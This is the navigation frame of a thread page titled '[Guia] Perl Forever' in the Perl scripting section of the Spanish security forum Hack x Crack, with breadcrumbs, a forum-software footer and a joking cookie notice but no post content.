    Páginas: [1] 2 3   Ir Arriba
    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Scripting »
    • Perl »
    • [Guia] Perl Forever
     

    • SMF | SMF © 2013, Simple Machines
    • XHTML
    • RSS
    • WAP2
    Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso... Learn more